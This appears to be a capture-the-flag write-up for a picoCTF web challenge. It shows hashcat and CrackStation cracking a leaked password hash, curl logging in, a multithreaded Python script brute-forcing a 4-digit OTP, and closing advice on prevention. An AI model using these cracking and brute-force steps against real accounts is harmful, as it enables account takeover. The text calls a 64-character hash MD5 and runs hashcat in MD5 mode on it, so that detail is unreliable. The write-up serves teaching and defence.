Description
Seems like some data has been leaked! Can you get the flag?
Setup
Launch the challenge instance and open the web application.
The site appears to have a login protected by two-factor authentication (2FA/OTP).
Solution
Walk me through it- Step 1Crack the leaked MD5 password hashTwo ways to crack it: paste the hash into CrackStation (instant lookup against precomputed tables of common passwords like 'apple@123'), or run hashcat against rockyou.txt for offline brute-force. CrackStation wins on common passwords; hashcat wins on uncommon ones or when you need to keep going past the wordlist.bash
# Method 1 (fastest for common passwords): paste hash into crackstation.netbash# Hash: c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67bash# Result: apple@123 (instant - it's in their precomputed table)bashbash# Method 2 (offline, works on any hash): hashcat with rockyou wordlistbashecho 'c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67' > hash.txtbashhashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txtbash# -m 0 = MD5; -m 100 = SHA1; -m 1400 = SHA256, etc.Learn more
MD5 (Message Digest 5) was widely used for password storage throughout the 1990s and 2000s, but it is completely unsuitable for this purpose today. Three properties make it dangerous for passwords:
- Speed: A modern GPU can compute billions of MD5 hashes per second, making brute-force trivially fast
- No salt: Without a random per-user salt, identical passwords produce identical hashes, enabling rainbow table lookups
- Cryptographic weaknesses: MD5 is vulnerable to collision attacks (though this doesn't directly help crack passwords, it undermines trust in the algorithm)
CrackStation maintains a precomputed lookup table (rainbow table) of MD5 and other hash types for billions of known passwords. Common passwords like
apple@123appear in leaked password databases and are in these tables. hashcat performs the same lookup dynamically against wordlists likerockyou.txt(a real credential dump from the 2009 RockYou breach containing 14 million passwords).Modern password storage uses purpose-built password hashing functions: bcrypt, scrypt, Argon2 (winner of the Password Hashing Competition), and PBKDF2. These are deliberately slow and memory-intensive, making brute-force attacks orders of magnitude harder. They also include per-user salts automatically, preventing rainbow table attacks.
- Step 2Log in and reach the 2FA pageLog in, then read the OTP input field's max length / placeholder / pattern attribute to confirm the OTP range. If the UI gives nothing, infer from error messages on out-of-range guesses, or assume the worst case and brute the full 000000-999999 6-digit space.bash
curl -c cookie.jar -d 'username=admin&password=apple@123' http://<HOST>:<PORT_FROM_INSTANCE>/loginbash# Inspect the OTP form to determine the range:bashcurl -b cookie.jar http://<HOST>:<PORT_FROM_INSTANCE>/2fa | grep -A2 -i otpLearn more
Two-factor authentication (2FA) adds a second verification step after the password check, requiring something you have (a phone, hardware token) in addition to something you know (the password). OTP (One-Time Password) systems generate a time-based (TOTP) or counter-based (HOTP) code that is valid for a short window. The industry standard is TOTP (RFC 6238), which uses a shared secret and the current time to generate a 6-digit code that changes every 30 seconds.
The challenge OTP range (1000-9999) is much smaller than a real 6-digit OTP (000000-999999 = 1,000,000 values). This reduction makes brute-force feasible: only 9,000 possible values exist. A real TOTP system would be effectively unbrute-forceable in a single 30-second window even with fast requests, which is why proper 2FA provides strong authentication even if the password is known.
The
curl -c cookie.jarflag saves session cookies to a file, which can be reloaded with-b cookie.jaron subsequent requests. This simulates a browser session where the server recognises you as logged in across multiple HTTP requests. Cookie management is essential for automating interactions with session-based web applications. - Step 3Brute-force the OTP (1000-9999)max_workers=50 is an aggressive starting point. Drop to 5-10 if you see HTTP 429 or rate-limit headers; raise toward 100 if no rate limiting is in evidence. Watch the first hundred responses, then tune.python
python3 << 'EOF' import requests from concurrent.futures import ThreadPoolExecutor BASE = "http://<HOST>:<PORT_FROM_INSTANCE>" session = requests.Session() session.post(f"{BASE}/login", data={"username": "admin", "password": "apple@123"}) def try_otp(otp): r = session.post(f"{BASE}/verify", data={"otp": str(otp)}) if "picoCTF" in r.text or "Correct" in r.text: print(f"Correct OTP is: {otp}") print(r.text) return True return False with ThreadPoolExecutor(max_workers=50) as ex: futures = {ex.submit(try_otp, otp): otp for otp in range(1000, 10000)} for f in futures: if f.result(): ex.shutdown(wait=False, cancel_futures=True) break EOFLearn more
OTP brute-forcing is only feasible when the OTP space is small and there is no rate limiting on the verification endpoint. In production 2FA systems, brute-force is prevented by: short validity windows (30 seconds for TOTP), rate limiting (lock after 5-10 failed attempts), and alert/notification systems that warn the user of repeated failed 2FA attempts.
Python's
ThreadPoolExecutorwithmax_workers=50sends 50 concurrent HTTP requests at a time, dramatically reducing the total time to test 9,000 values. A single-threaded loop would take much longer; 50 threads reduces wall-clock time roughly 50x. The tradeoff is that multithreaded requests may trigger rate limiting faster, but since this challenge has no 2FA rate limiting, parallelism is pure benefit.This challenge illustrates why 2FA implementations must protect the OTP endpoint with the same (or stricter) rate limiting as the password endpoint. A common real-world vulnerability is an application that rate-limits password guessing but not OTP guessing, allowing an attacker who has stolen a password to brute-force the 2FA code. This is a recognised attack described in OWASP's Authentication Cheat Sheet. See the hash cracking guide for the offline-cracking side and the web bug patterns post for more on auth-flow defects.
Flag
picoCTF{n0_f4_n0_pr0bl3m_...}
Leaked MD5 hash (c20fa1...) cracks to 'apple@123'. The 2FA OTP is in range 1000-9999 - brute-force with 50 concurrent workers to find the correct OTP quickly.
How to prevent this
How to prevent this
2FA only adds security if the OTP path is hardened the same way as the login path.
- Use the full
000000-9999996-digit space, generated from a CSPRNG or HOTP/TOTP secret. Never accept a 4-digit OTP for anything that protects real value. - Rate-limit the OTP endpoint per account (not per IP), with exponential backoff and a lockout after 5-10 failures. Brute force at 50 RPS should be impossible.
- Bind the OTP to a single login attempt: invalidate it after one wrong guess instead of letting the attacker keep trying within the 30-second window. Notify the user on repeated failures.